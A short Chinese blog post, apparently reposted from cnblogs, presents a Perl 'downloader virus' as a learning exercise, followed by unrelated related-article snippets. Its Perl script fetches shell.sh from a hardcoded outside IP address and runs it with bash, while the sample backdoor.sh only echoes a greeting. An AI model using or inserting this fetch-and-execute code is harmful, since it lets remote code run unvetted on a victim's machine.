一直学的perl, 有时perl不理解时就用python写一下,这样或许perl就理解了
这里参照python写法,做了个perl的版本,当然,是为了学习用,这个下载者病毒有点简单过头了

backdoor.sh后门程序代码如下:
backdoor.sh

1 #!/bin/sh
2 echo 'Hello, Python'

下面为perl的shell.pl代码:
shell.pl

1 #!/usr/bin/perl
2 use LWP::Simple;
3
4 my $backdoor_content = get('http://45.63.49.167:8080/shell.sh');
5 open BACKDOOR, ">", 'backdoor.sh' or die "Dowload Error:$!\n";
6 print BACKDOOR $backdoor_content;
7 system('/bin/bash backdoor.sh');

转载于:https://www.cnblogs.com/perl6/p/6136226.html

用Perl做个简单”下载者病毒”相关推荐

  1. 程序猿修仙之路--数据结构之你是否真的懂数组? c#socket TCP同步网络通信 用lambda表达式树替代反射 ASP.NET MVC如何做一个简单的非法登录拦截...

    程序猿修仙之路--数据结构之你是否真的懂数组? 数据结构 但凡IT江湖侠士,算法与数据结构为必修之课.早有前辈已经明确指出:程序=算法+数据结构  .要想在之后的江湖历练中通关,数据结构必不可少.数据 ...

  2. 【Python】如何用python做一个简单的输入输出交互界面?

    看到知乎上有人在问,如何使用Python做一个简单的输入输出交互界面? 交互界面就涉及到GUI编程. Python有很多GUI框架,功能大同小异. 其中比较出名的有「PyQT」.**wxPython. ...

  3. html控制图的宽,用JointJS做一个简单的功能控制图

    继上一篇介绍了GoJS之后,继续研究JS的绘图工具,毕竟GoJS有些小贵.这次选择了JointJS,完全开源,它还有一个商业版本叫Raddit,功能更强大.不过就我的需求场景,开源的Joint就足够了 ...

  4. 用html5做一个简单网页_用新款ws2812灯带做一个简单的窗花

    本文转自:DF创客社区-未经许可不可转载 原文链接(附件请于原文下方下载): 用新款ws2812灯带做一个简单的窗花-创意生活论坛-DF创客社区​mc.dfrobot.com.cn 作者:屌丝王小明 ...

  5. html5 mp4转换ogv格式,怎么将MP4转换为OGV?这么做超简单!

    原标题:怎么将MP4转换为OGV?这么做超简单! 在我们日常娱乐和日常工作中,如果遇见将MP4视频文件转换为OGV视频文件该怎么办呢?其实很简单. 有人会问为什么要将MP4视频文件转换为OGV视频文件 ...

  6. 用pygame做一个简单的python小游戏---贪吃蛇

    用pygame做一个简单的python小游戏-贪吃蛇 贪吃蛇游戏博客链接:(方法一样,语言不一样) c++贪吃蛇:https://blog.csdn.net/weixin_46791942/artic ...

  7. 开始做一个简单的记账工具

    用VScode做一个简单的记账工具 内容保存在 https://leonchan0608.coding.net/public/bookkeeping/bookkeeping/git 下班学习,奋斗一年 ...

  8. 做一个简单网页(做一个简单网页多少钱)

    怎样做一个简易的网页?做一个简单网页多少钱 做一个简易的普通网页比较容易.当然,制作的方法有好几种,有的是直接写代码.有的是用绘图软件绘制页面再导出网页.常用的是使用网页制作软件做网页.下面以普通静态 ...

  9. 美团饿了么外卖CPS项目怎么做?简单推广每天躺赚(附源码和搭建教程)

    美团饿了么外卖CPS项目怎么做?简单推广每天躺赚(附源码和搭建教程) 要成为金钱的主人,而不是它的奴隶,这就是财商 外卖cps项目,可能接触的人非常多,但是真正去做的人还是没几个,但这个项目比较好的地 ...

最新文章

  1. 安装一个插件、回馈给你一款属于猿的绚丽浏览器
  2. [react] 你阅读了几遍React的源码?都有哪些收获?你是怎么阅读的?
  3. python 控件类多个实例_Python笔记_第四篇_高阶编程_GUI编程之Tkinter_2.控件类
  4. jpa 连接多个mysql 数据库_SpringBoot 连接多个数据库
  5. java怎么实现tab切换_[Java教程]用javascript实现tab切换
  6. 使用EasyUI加载树形菜单
  7. 当局为器,人民为水。当局什么样,人民就什么样
  8. 教育部计算机考研大纲,2021考研计算机大纲计算机组成原理部分考查内容
  9. 5脚12v继电器接线图解_继电器线圈并联二极管的作用
  10. U3D AND UDK 各自特点
  11. matlab做拉普拉斯反演,拉普拉斯变换反演
  12. web课程设计网页规划与设计 HTML+CSS+JavaScript仿英雄联盟LOL首页(1个页面)
  13. 哈夫曼树——荷马史诗(贪心+优先队列)
  14. 查看服务器系统密码,服务器系统查看密码
  15. java 学习之路建议
  16. 身份认证技术基础知识
  17. 【干货】Redis在Java开发中的基本使用和巧妙用法
  18. 五月的仓颉大神写的 三年java程序员面试感悟 分享给大家
  19. 遥感原理与应用总结——第六章:遥感图像辐射处理
  20. 2-25 MySQL基础

热门文章

  1. Ubuntu14.04 YouCompleteMe Configure
  2. 《X86汇编语言:从实模式到保护模式》读书笔记之引言
  3. 【放洋屁了】知识焦虑-几点感慨
  4. C语言再学习 -- grep 命令(转)
  5. UNIX再学习 -- 环境变量
  6. C语言再学习 -- 三字母词(转)
  7. 【动态规划】三种基本背包问题
  8. tensorflow.python.framework.errors_impl.UnknownError: Failed to get convolution algorithm.的一种解决方法
  9. GAUSSIAN MIXTURE VAE: LESSONS IN VARIATIONAL INFERENCE, GENERATIVE MODELS, AND DEEP NETS
  10. 进击的Android Hook 注入术《二》